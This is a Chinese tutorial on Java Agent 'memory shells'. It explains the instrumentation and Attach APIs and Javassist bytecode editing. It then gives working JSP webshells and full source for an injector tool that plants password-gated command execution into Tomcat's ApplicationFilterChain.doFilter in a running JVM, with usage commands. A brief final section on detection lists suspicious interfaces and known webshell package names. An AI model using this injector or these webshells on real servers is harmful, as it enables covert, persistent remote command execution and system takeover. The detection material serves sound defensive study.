Bootstrap

一文带你读懂 Java Agent 内存马

文章首发于freebuf:https://www.freebuf.com/articles/web/331954.html

Java Agent 注入

在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,用于监控、收集性能信息、诊断问题等。通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法等。

Java agent的使用方式有两种:

  • premain方法,在JVM启动前加载。

在这里插入图片描述

  • agentmain方法,在JVM启动后加载。

在这里插入图片描述

在实际环境中,目标的JVM通常都是已经启动的状态,无法预先加载premain。相比之下,孰轻孰重已不言而喻。

premain和agentmain函数声明如下,方法名相同情况下,拥有Instrumentation inst参数的方法优先级更高:

public static void agentmain(String agentArgs, Instrumentation inst) {
    ...
}

public static void agentmain(String agentArgs) {
    ...
}

public static void premain(String agentArgs, Instrumentation inst) {
    ...
}

public static void premain(String agentArgs) {
    ...
}

JVM 会优先加载带 Instrumentation 签名的方法,加载成功则忽略第二种。如果第一种没有,则加载第二种方法。

  • 第一个参数String agentArgs就是Java agent的参数。
  • Inst 是一个 java.lang.instrument.Instrumentation 的实例,可以用来类定义的转换和操作等等。

premain 方式

JVM启动时 会先执行 premain 方法,大部分类加载都会通过该方法,注意:是大部分,不是所有。遗漏的主要是系统类,因为很多系统类先于 agent 执行,而用户类的加载肯定是会被拦截的。也就是说,这个方法是在 main 方法启动前拦截大部分类的加载活动,既然可以拦截类的加载,就可以结合第三方的字节码编译工具,比如ASM,javassist,cglib等来改写实现类。

1)创建应用程序hello.jar

package com.nsfocus.test

public class hello {
    public static void main (String[] args) {
        System.out.println("hello world");
    }
}

将com.nsfocus.test.hello打包成hello.jar后单独执行java -jar hello.jar
在这里插入图片描述
2)创建premain方式的Agent

package com.nsfocus.test

import java.lang.instrument.Instrumentation;

public class PreDemo {
    public static void premain(String args, Instrumentation inst) throws Exception{
        for (int i = 0; i < 10; i++) {
            System.out.println("I'm premain agent");
        }
    }
}

此时项目如果打包成jar包执行,则会因绝少入口main而报错(Java默认main为入口)。故需自定义一个MANIFEST.MF文件,用于指明premain的入口:

Manifest-Version: 1.0
Premain-Class: com.nsfocus.test.PreDemo

注:最后一行是空行,不能省略。以下是MANIFEST.MF的其他选项:

Premain-Class: 包含 premain 方法的类(类的全路径名)
Agent-Class: 包含 agentmain 方法的类(类的全路径名)
Boot-Class-Path: 设置引导类加载器搜索的路径列表。查找类的特定于平台的机制失败后,引导类加载器会搜索这些路径。按列出的顺序搜索路径。列表中的路径由一个或多个空格分开。路径使用分层 URI 的路径组件语法。如果该路径以斜杠字符(“/”)开头,则为绝对路径,否则为相对路径。相对路径根据代理 JAR 文件的绝对路径解析。忽略格式不正确的路径和不存在的路径。如果代理是在 VM 启动之后某一时刻启动的,则忽略不表示 JAR 文件的路径。(可选)
Can-Redefine-Classes: true表示能重定义此代理所需的类,默认值为 false(可选)
Can-Retransform-Classes: true 表示能重转换此代理所需的类,默认值为 false (可选)
Can-Set-Native-Method-Prefix: true表示能设置此代理所需的本机方法前缀,默认值为 false(可选)

3)使用premain进行注入

java -javaagent:PreDemo.jar -jar hello.jar
在这里插入图片描述

agentmain 方式

写一个agentmainpremain差不多,只需要在META-INF/MANIFEST.MF中加入Agent-Class:即可。

agent:

package com.nsfocus.test

import java.lang.instrument.Instrumentation;

public class AgentDemo {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        for (int i = 0; i < 10; i++) {
            System.out.println("I'm agentmain agent");
        }
    }
}

META-INF/MANIFEST.MF:

Manifest-Version: 1.0
Agent-Class: com.nsfocus.agent.AgentDemo
Can-Retransform-Classes: true
Can-Redefine-Classes: true

不同之处在于,这种方法不是在JVM启动前使用参数来指定的。官方为了实现启动后的加载,提供了Attach API。Attach API 很简单,只有 2 个主要的类,都在 com.sun.tools.attach 包里面。需要着重关注的是VitualMachine这个类,它用来与目标JVM建立连接,从而在启动后加载我们的agentmain。

坑: Linux、Windows等不同下的Attach API不尽相同,详见下文。

补: 总的来说,agentmain的实现也并不是很难理解。笔者将其简要概括为三个阶段:

连接(VirtualMachine) => 加载(Instrumentation) => 修改(Javassist),详见下文。

VirtualMachine

字面意义表示虚拟机,也就是Agent程序需要监控的目标JVM。它提供了获取系统信息、loadAgentAttachDetach等方法,可以实现的功能非常强大 。该类允许我们给attach方法传入一个JVM的pid,远程连接到目标JVM上 。代理类注入操作只是它众多功能中的一个,我们可以通过loadAgent方法向JVM注册一个代理程序Agent,在该Agent代理程序中将会得到一个Instrumentation实例。

VirtualMachine的用法:

// com.sun.tools.attach.VirtualMachine

// 下面的示例演示如何使用VirtualMachine:

        // attach to target VM
        VirtualMachine vm = VirtualMachine.attach("2177");  
        // start management agent
        Properties props = new Properties();
        props.put("com.sun.management.jmxremote.port", "5000");
        vm.startManagementAgent(props);
        // detach
        vm.detach();

// 在此示例中,我们附加到由进程标识符2177标识的Java虚拟机。然后,使用提供的参数在目标进程中启动JMX管理代理。最后,客户端从目标VM分离。

attacher:

package com.nsfocus.attacher;

import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;

public class AgentAttach {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        String id = args[0];
        String jarName = args[1];

        System.out.println("id ==> " + id);
        System.out.println("jarName ==> " + jarName);

        VirtualMachine virtualMachine = VirtualMachine.attach(id);
        virtualMachine.loadAgent(jarName);
        virtualMachine.detach();

        System.out.println("ends");
    }
}
Manifest-Version: 1.0
Main-Class: com.nsfocus.attacher.AgentAttach

过程非常简单:通过pid attach到目标JVM -> 加载agent -> 解除连接。

后话: 在windows下将该项目打包为attacher.jar后,复制到linux下执行报错:

Exception in thread "main" java.lang.UnsatisfiedLinkError: sun.tools.attach.WindowsAttachProvider.tempPath()Ljava/lang/String;
        at sun.tools.attach.WindowsAttachProvider.tempPath(Native Method)
        at sun.tools.attach.WindowsAttachProvider.isTempPathSecure(WindowsAttachProvider.java:74)
        at sun.tools.attach.WindowsAttachProvider.listVirtualMachines(WindowsAttachProvider.java:58)
        at com.sun.tools.attach.VirtualMachine.list(VirtualMachine.java:134)
        at sun.tools.jconsole.LocalVirtualMachine.getAttachableVMs(LocalVirtualMachine.java:151)
        at sun.tools.jconsole.LocalVirtualMachine.getAllVirtualMachines(LocalVirtualMachine.java:110)
        ...

前面已经提到了,不同的AttachProvider适用于不同的平台,即不同平台下的${JAVA_HOME}/lib/tools.jar有略微的差别:

[solaris] sun.tools.attach.SolarisAttachProvider
[windows] sun.tools.attach.WindowsAttachProvider
[linux]   sun.tools.attach.LinuxAttachProvider

在这里插入图片描述

将项目拷贝到linux下再打包,或者将windows下的tools.jar替换为linux下的tools.jar均能解决这个问题。

Instrumentation

通过attacher连接到目JVM后,可以通过instrumentation类和目标JVM上的类进行交互,为动态修改字节码奠定基础。

官方文档:java.lang.instrument (Java SE 9 & JDK 9 ) (oracle.com)

public interface Instrumentation {

    // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);

    // 删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);

    // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

    // 判断目标类是否能够修改。
    boolean isModifiableClass(Class<?> theClass);

    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();

    ......
}
  • getAllLoadedClasses:获取所有已经加载的类。
  • isModifiableClasses:判断某个类是否能被修改。

前面的AgentDemo比较简单,下面我们来扩展一下agent的功能。在连接至目标JVM后,加载JVM上所有的类,并判断其是否可以更改:

package com.nsfoucs.getclasses;

import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.instrument.Instrumentation;

public class GetClasses {
    public static void agentmain(String agentArgs, Instrumentation inst) throws IOException {
        Class[] classes = inst.getAllLoadedClasses();
        FileOutputStream fileOutputStream = new FileOutputStream(new File("./ClassesInfo.txt"));
        for (Class aClass : classes) {
            String result = "class ==> " + aClass.getName() + "\n\t" + "Modifiable ==> " + (inst.isModifiableClass(aClass) ? "true" : "false") + "\n";
            fileOutputStream.write(result.getBytes());
        }
        fileOutputStream.close();
    }
}

META-INF/MANIFEST.MF:

Manifest-Version: 1.0
Agent-Class: com.nsfoucs.getclasses.GetClasses

java -jar attacher.jar [PID] "./getclasses.jar"

class ==> java.lang.invoke.LambdaForm$MH/0x0000000800f06c40             
    Modifiable ==> false

class ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f06840                
    Modifiable ==> false

class ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f07440                
    Modifiable ==> false

class ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f07040                
    Modifiable ==> false

class ==> jdk.internal.reflect.GeneratedConstructorAccessor29               
    Modifiable ==> true

........

在当前目录成功生成ClassesInfo.txt,得到了目标JVM上所有已经加载的类,并且知道了这些类能否被修改。

Transform API

在编译期的构建任务流中,class转为dex之前,插入一个Transform,并在此Transform流中,基于Javassist实现对字节码文件的注入。

  • addTransformer()
  • retransformClasses()

redefine VS. retransform | lsieun

Instrumentation.xxxTransformer() | lsieun

public interface Instrumentation {

    // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);

    // 删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);

    // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

    // 判断目标类是否能够修改。
    boolean isModifiableClass(Class<?> theClass);

    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();

    ......
}

addTransformer()方法中,有一个参数ClassFileTransformer transformer,这个参数将帮助我们完成字节码的修改工作。

ClassFileTransformer

ClassFileTransformer接口提供了用于加载、重新定义或重新转换类的transform方法:

public interface ClassFileTransformer {
    default byte[]
    transform(  ClassLoader         loader,
                String              className,
                Class<?>            classBeingRedefined,
                ProtectionDomain    protectionDomain,
                byte[]              classfileBuffer) {
        ....
    }
}
//示例
public class Transformer implements ClassFileTransformer{
...
}
// 代理使用addTransformer方法注册此接口的实现,以便在加载,重新定义或重新转换类时调用转换器的transform方法。该实现应覆盖此处定义的转换方法之一。在Java虚拟机定义类之前,将调用变压器。
// 有两种转换器,由Instrumentation.addTransformer(ClassFileTransformer,boolean)的canRetransform参数确定:
// 与canRetransform一起添加的具有重转换能力的转换器为true
// 与canRetransform一起添加为false或在Instrumentation.addTransformer(ClassFileTransformer)处添加的无法重新转换的转换器
// 在addTransformer中注册了转换器后,将为每个新的类定义和每个类重新定义调用该转换器。具有重转换功能的转换器也将在每个类的重转换上被调用。使用ClassLoader.defineClass或其本机等效项来请求新的类定义。使用Instrumentation.redefineClasses或其本机等效项进行类重新定义的请求。使用Instrumentation.retransformClasses或其本机等效项进行类重新转换的请求。在验证或应用类文件字节之前,将在处理请求期间调用转换器。如果有多个转换器,则通过链接转换调用来构成转换。也就是说,一次转换所返回的字节数组成为转换的输入(通过classfileBuffer参数)。

Javassist

修改字节码的技术有很多,比如 ASM、Javassist、BCEL、CGLib 等,这里仅简要介绍 Javassist。Javassist 可以直接用 Java 编码来实现增强,无需关注字节码结构,比 ASM 更简单。Javassist 中核心的类主要有四个:

  • CtClass:类信息
  • ClassPool:可以从中获取 CtClass,key 为类的全限定名
  • CtMethod:方法信息
  • CtField:字段信息

基于这四个类,可以方便地实现增强,比如在指定方法前后增加代码:

// 获取默认 ClassPool
ClassPool cp = ClassPool.getDefault();
// 找到 CtClass,重写 com.nsfocus.Demo
CtClass cc = cp.get("com.nsfocus.Demo");
// 增强方法 test
CtMethod m = cc.getDeclaredMethod("test");
// 前面插入代码
m.insertBefore("{ System.out.println(\"javassist start\"); }");
// 后面插入代码
m.insertAfter("{ System.out.println(\"javassist end\"); }");
// Java agent 获取字节码数据
return cc.toBytecode();

Javassist用法详解

示例

模拟目标进程,hello.jar:

// HelloWorld.java
package com.nsfocus.test;

import java.util.Scanner;

public class HelloWorld {
    public static void main(String[] args) {
        hello h1 = new hello();
        GetPid pid = new GetPid();
        h1.hello();
        // 输出当前进程的 pid
        pid.GetPid();
        // 产生中断,等待注入
        Scanner sc = new Scanner(System.in);
        sc.nextInt();
        hello h2 = new hello();
        h2.hello();
        System.out.println("ends...");
    }
}

// hello.java
package com.nsfocus.test;

public class hello {
    public void hello() {
        System.out.println("hello world");
    }
}

//GetPid.java
package com.nsfocus.test;

import java.lang.management.ManagementFactory;

public class GetPid {
    public void GetPid() {
        String name = ManagementFactory.getRuntimeMXBean().getName();
        System.out.println("JVM:" + name);
        String pid = name.split("@")[0];
        System.out.println("PID:" + pid);
    }

}

META-INF/MANIFEST.MF:

Manifest-Version: 1.0
Main-Class: com.nsfocus.test.HelloWorld

agent.jar:

// AgentDemo.java
package com.nsfocus.agent;

import java.io.IOException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentDemo {
    public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException {
        Class[] classes = inst.getAllLoadedClasses();
        // 判断类是否已经加载
        for (Class aClass : classes) {
            if (aClass.getName().equals(TransformerDemo.editClassName)) {
                System.out.println("EditClassName:" + aClass.getName());
                System.out.println("EditMethodName:" + TransformerDemo.editMethodName);
                // 添加 Transformer
                inst.addTransformer(new TransformerDemo(), true);
                // 触发 Transformer
                inst.retransformClasses(aClass);
            }
        }
    }
}

// TransformerDemo.java
package com.nsfocus.agent;

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import java.lang.instrument.IllegalClassFormatException;

public class TransformerDemo implements ClassFileTransformer {
    // 只需要修改这里就能修改别的函数
    public static final String editClassName = "com.nsfocus.test.hello";
    public static final String editClassName2 = editClassName.replace('.', '/');
    public static final String editMethodName = "hello";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        try {
            ClassPool cp = ClassPool.getDefault();
            cp.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                cp.insertClassPath(ccp);
            }
            CtClass ctc = cp.get(editClassName);
            CtMethod method = ctc.getDeclaredMethod(editMethodName);
            String source = "{System.out.println(\"hello transformer\");}";
            method.setBody(source);
            byte[] bytes = ctc.toBytecode();
            ctc.detach();
            return bytes;
        } catch (Exception e){
            e.printStackTrace();
        }
        return classfileBuffer;
    }
}

META-INF/MANIFEST.MF:

Manifest-Version: 1.0
Agent-Class: com.nsfocus.agent.AgentDemo
Can-Retransform-Classes: true
Can-Redefine-Classes: true

使用:

1)java -jar helloworld.jar
在这里插入图片描述
2java -jar attacher.jar [PID] "./getclasses.jar"

3)java -jar attacher.jar [PID] "./agent.jar"
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
总结:

首先利用attacher.jar attach到某个JVM并加载agent.jar,然后利用agent.jar中java.lang.instrument.InstrumentationgetAllLoadedClasses()sModifiableClasses()对目标JVM中的类进行汇总,并判断类是否可以更改,即public static void agentmain(String agentArgs, Instrumentation inst){},Class[] classes = inst.getAllLoadedClasses();,inst.isModifiableClass(aClass)。再利用java.lang.instrument.InstrumentationaddTransformer(new Transformer(),true)(Transformer类继承java.lang.instrument.Instrumentation中的ClassFileTransformer接口,即public class Transformer implements ClassFileTransformer)和retransformClasses(target_class)对类进行拦截,最后配合javassist实现对字节码的修改。

需要注意的是,addTransformer方法并没有指明要转换哪个类,转换发生在premain函数后,main函数前。这时每装载一个类,transform方法就执行一次,故使用if (aClass.getName().equals(TransformerDemo.editClassName))判断当前的类是否需要转换(此处需要注意editclassName的形式)。当然,该判断也可以在TransformerDemo类的transformer方法中进行,即if(className.equals(editClassName))

1)使用Instrumentation.addTransformer()加载一个转换器。

2)转换器的返回结果(transform()方法的返回值)将成为转换后的字节码。

3)对于没有加载的类,使用ClassLoader.defineClass()定义它;对于已经加载的类,使用ClassLoader.redefineClasses()重新定义,并配合Instrumentation.retransformClasses进行转换。

注入内存马

示例成功完成了对方法体的修改。下面我们分析如何利用上述方法,将木马注入到某个一定会执行的方法内。

无回显执行系统命令:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

有密码和回显的命令执行:

<%
    if("nsfocus".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

修改哪个类的哪个方法,是注入内存马的前提和关键。除了上面提到的一定会执行什么时候执行也十分重要。

其实后门的本质就是在目标上留下一个用户可控的参数,黑客通过控制这个参数,达到执行任意系统命令的目的。因此,想要注入内存马,就必然绕不开 request 和 response。比如PHP的eval($_POST['nsfocus']),JSP的request.getParameter("nsfocus")。根据木马的特性,我们把目光放在 FilterChain 上。

在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以针对某一个 URL 进行拦截。如果多个 Filter 程序都对同一个 URL 进行拦截,那么这些 Filter 就会组成一个Filter 链(也称过滤器链)。

Filter 链用 FilterChain 对象表示,FilterChain 对象中有一个 doFilter() 方法,该方法的作用是让 Filter 链上的当前过滤器放行,使请求进入下一个 Filter。FilterChain 的拦截过程如图所示:
在这里插入图片描述
当然,最直接的就是写一个 Spring Boot 的 demo,在IDEA上下断点调试,分析各个类的调用过程,从而寻找合适的类和方法。

//DeomApplication.java
package com.nsfocus.demo;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class DemoApplication {

    public static void main(String[] args) {
        SpringApplication.run(DemoApplication.class, args);
    }

}

//HelloSpring.java
package com.nsfocus.demo;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class HelloSpring {

    @RequestMapping("/index")
    public String say() {
        try {
            System.out.println("hello springboot");
        } catch (Exception e) {
            e.printStackTrace();
        }
        return "index";
    }
}

ApplicationFilterChaindoFilter方法:

@Override
public void doFilter(ServletRequest request, ServletResponse response)
    throws IOException, ServletException {

    if( Globals.IS_SECURITY_ENABLED ) {
        final ServletRequest req = request;
        final ServletResponse res = response;
        try {
            java.security.AccessController.doPrivileged(
                new java.security.PrivilegedExceptionAction<Void>() {
                    @Override
                    public Void run()
                        throws ServletException, IOException {
                        internalDoFilter(req,res);
                        return null;
                    }
                }
            );
        } catch (PrivilegedActionException pe) {
            ......
        }
    } else {
        internalDoFilter(request,response);
    }
}

internalDoFilter()方法:

private void internalDoFilter(ServletRequest request,
                                  ServletResponse response)
        throws IOException, ServletException {

        // Call the next filter if there is one
        if (pos < n) {
            ......
        }
}

以上两个方法均拥有RequestResponse参数,重写其中任何一个方法,都能控制所有的请求和响应。

Java Agent 修改 doFilter:

只需要对上面的示例代码做一些变动即可。

指定需要修改的类名和方法名:

public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static final String editClassName2 = editClassName.replace('.', '/');
public static final String editMethod = "doFilter";

为了不破坏程序原本的功能,这里不再使用setBody()方法,而采用insertBefore()

method.insertBefore(source);

出于方便考虑,实现一个readSource()方法,从文件中读取数据:

private static String readSource() throws Exception{
    File file = new File("./start.txt");
    if(!file.exists()){
        return null;
    }
    FileInputStream inputStream = new FileInputStream(file);
    int length = inputStream.available();
    byte bytes[] = new byte[length];
    inputStream.read(bytes);
    inputStream.close();
    String str =new String(bytes, StandardCharsets.UTF_8);
    return str ;
}
String source = this.readSource("start.txt");

public static String readSource(String name) {
        String result = "";
        // result = name文件的内容
        return result;
    }

start.txt中,写入恶意代码:

{
    javax.servlet.http.HttpServletRequest request = $1;
    javax.servlet.http.HttpServletResponse response = $2;
    request.setCharacterEncoding("UTF-8");
    String result = "";
    String password = request.getParameter("pwd");
    if (password != null && password.equals("nsfocus")) {
        String cmd = request.getParameter("cmd");
            if (cmd != null && cmd.length() > 0) {
                java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
                byte[] b = new byte[1024];
                int a = -1;
                while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
                }
            response.getWriter().println("<pre>" + new String(baos.toByteArray()) + "</pre>");
            }
    }
}

正常访问:http://127.0.0.1:8080

注入:java attacher.jar [pid] "./agent.jar"

注入后访问:http://127.0.0.1:8080/?password=nsfocus&exec=ls -al

最后,可以将前面的attacher.jar、getclasses.jar、agent.jar等项目整合一下,动态获取用户输入。这样,一个实用的小工具就诞生了:

//Atacher.java
package com.nsfocus.agent;

import com.beust.jcommander.JCommander;

import java.util.Base64;

import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;

public class Attacher {

    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {

        Args args1 = new Args();
        JCommander.newBuilder().addObject(args1).build().parse(args);
        byte[] decoded1 = Base64.getDecoder().decode(args1.target);
        String msg1 = new String(decoded1);
        System.out.println(msg1);
        String[] arr1 = msg1.split(":");

        System.out.println("PID ==> " + arr1[0]);
        System.out.println("EditClassName ==> " + arr1[1]);
        System.out.println("EditMethodName ==> " + arr1[2]);
        System.out.println("SaveLog ==> " + arr1[3]);

        VirtualMachine virtualMachine = VirtualMachine.attach(arr1[0]);
        virtualMachine.loadAgent("./memshell.jar",args1.target);
        virtualMachine.detach();

        System.out.println("ends");
    }
}

//Agent.java
package com.nsfocus.agent;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.util.Base64;

public class Agent {
    public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException {

        //System.out.println(agentArgs);

        byte[] decoded2 = Base64.getDecoder().decode(agentArgs);
        String msg2 = new String(decoded2);
        String[] arr2 = msg2.split(":");

        Class[] classes = inst.getAllLoadedClasses();
        FileOutputStream fileOutputStream = new FileOutputStream(new File(arr2[3]));
        // 判断类是否已经加载
        for (Class aClass : classes) {
            String result = "class ==> " + aClass.getName() + "\n\t" + "Modifiable ==> " + (inst.isModifiableClass(aClass) ? "true" : "false") + "\n";
            fileOutputStream.write(result.getBytes());
            if (aClass.getName().equals(arr2[1])) {
                System.out.println("EditClassName:" + arr2[1]);
                System.out.println("EditMethodName:" + arr2[2]);
                // 添加 Transformer
                inst.addTransformer(new Transformer(arr2[1],arr2[2]), true);
                // 触发 Transformer
                inst.retransformClasses(aClass);
            }
        }
        fileOutputStream.close();
    }
}

//Transformer.java
package com.nsfocus.agent;

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import java.lang.instrument.IllegalClassFormatException;

public class Transformer implements ClassFileTransformer {
    public String EditClassName;
    public String EditMethodName;
    public Transformer(String c,String m){
        this.EditClassName = c;
        this.EditMethodName = m;
    }

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        try {
            ClassPool cp = ClassPool.getDefault();
            cp.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                cp.insertClassPath(ccp);
            }
            CtClass ctc = cp.get(EditClassName);
            CtMethod method = ctc.getDeclaredMethod(EditMethodName);
            String source = "{\n" +
                    "    javax.servlet.http.HttpServletRequest request = $1;\n" +
                    "    javax.servlet.http.HttpServletResponse response = $2;\n" +
                    "    request.setCharacterEncoding(\"UTF-8\");\n" +
                    "    String result = \"\";\n" +
                    "    String password = request.getParameter(\"pwd\");\n" +
                    "    if (password != null && password.equals(\"nsfocus\")) {\n" +
                    "        String cmd = request.getParameter(\"cmd\");\n" +
                    "            if (cmd != null && cmd.length() > 0) {\n" +
                    "                java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                    "                java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();\n" +
                    "                int a = -1;\n" +
                    "                byte[] b = new byte[2048];\n" +
                    "                while ((a = in.read(b)) != -1) {\n" +
                    "                baos.write(b, 0, a);\n" +
                    "                }\n" +
                    "            response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");\n" +
                    "            }\n" +
                    "    }\n" +
                    "}";
            method.insertBefore(source);
            byte[] bytes = ctc.toBytecode();
            ctc.detach();
            return bytes;
        } catch (Exception e){
            e.printStackTrace();
        }
        return classfileBuffer;
    }
}

//Args.java
package com.nsfocus.agent;

import com.beust.jcommander.Parameter;

public class Args {

    @Parameter(names = "-target", description = "base64(pid:class:method:path)", required = true)
    public String target;

}

META-INF/MANIFEST.MF:

Manifest-Version: 1.0
Main-Class: com.nsfocus.agent.Attacher
Agent-Class: com.nsfocus.agent.Agent
Can-Retransform-Classes: true
Can-Redefine-Classes: true

pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.nsfocus</groupId>
    <artifactId>agent</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>com.beust</groupId>
            <artifactId>jcommander</artifactId>
            <version>1.82</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.28.0-GA</version>
        </dependency>
    </dependencies>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>

</project>

食用:

java -jar memshell.jar -target [base64(PID:EditClassName:EditMethodName:Save_log_path)]

示例:

java -jar demo.jar
在这里插入图片描述
在这里插入图片描述
3438:org.apache.catalina.core.ApplicationFilterChain:doFilter:./ClassInfo.txt =>

MzQzODpvcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwbGljYXRpb25GaWx0ZXJDaGFpbjpkb0ZpbHRlcjouL0NsYXNzSW5mby50eHQ=

java -jar memshell.jar -target MzQzODpvcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwbGljYXRpb25GaWx0ZXJDaGFpbjpkb0ZpbHRlcjouL0NsYXNzSW5mby50eHQ=
在这里插入图片描述
可以看到,修改后的demo已经能够接收参数,但可能是因为环境适配问题,导致回显时报错。另经测试,Agent failed to start!不影响工具的正常使用,Agent能够正常启动并完成对类和方法的修改。在windows中无此报错,linux中报错原因不详。

内存马的检测

Hotspot服务性代理-JVM进程外高级调试器接口sa-jdi使用 - 哔哩哔哩 (bilibili.com)

Agent内存马的自动分析与查杀 - 先知社区 (aliyun.com)

知己知彼,百战不殆。

基于 Agent 的检测

与注入内存马一样,我们同样可以利用Java的Instrument机制,动态注入我们的检测Agent,获取JVM中所有已加载的Class,匹配内存马特有的可疑特征,让隐藏的内存马现出原型。首先,我们需要分析常见的内存马存在的一些可疑的特征。

以上文中的内存马代码为例,我们通过Attacher去loadAgent:
在这里插入图片描述
Agent通过加载Transformer实现功能:
在这里插入图片描述
Transformer的功能由transform方法实现,而transform方法重写自ClassFileTransformer,即Transformer继承ClassFileTransformer接口:
在这里插入图片描述
因此,ClassFileTransformer接口算不算是Agent内存马的可疑特征呢?答案是肯定的。根据该思路,大致可以总结出以下可疑特征:

  • 继承可能实现webshell功能的接口

    • javax.servlet.http.HttpServlet

    • org.springframework.web.servlet.handler.AbstractHandlerMapping

    • javax.servlet.Filter

    • javax.servlet.Servlet

    • javax.servlet.ServletRequestListener

  • 名字

    • shell
    • memshell
  • 常见已知的Webshell包名:

    • net.rebeyond.*

    • com.metasploit.*

检测步骤与注入步骤基本相同:

1.Attach检测Agent到JVM进程

2.获取JVM中已经加载的Class列表

3.根据指纹特征将可疑的Class反编译为Java源码

4.根据源码检测出Webshell

优点:仅在检测过程中存在资源消耗,不会对系统进行修改,对系统的影响较小。

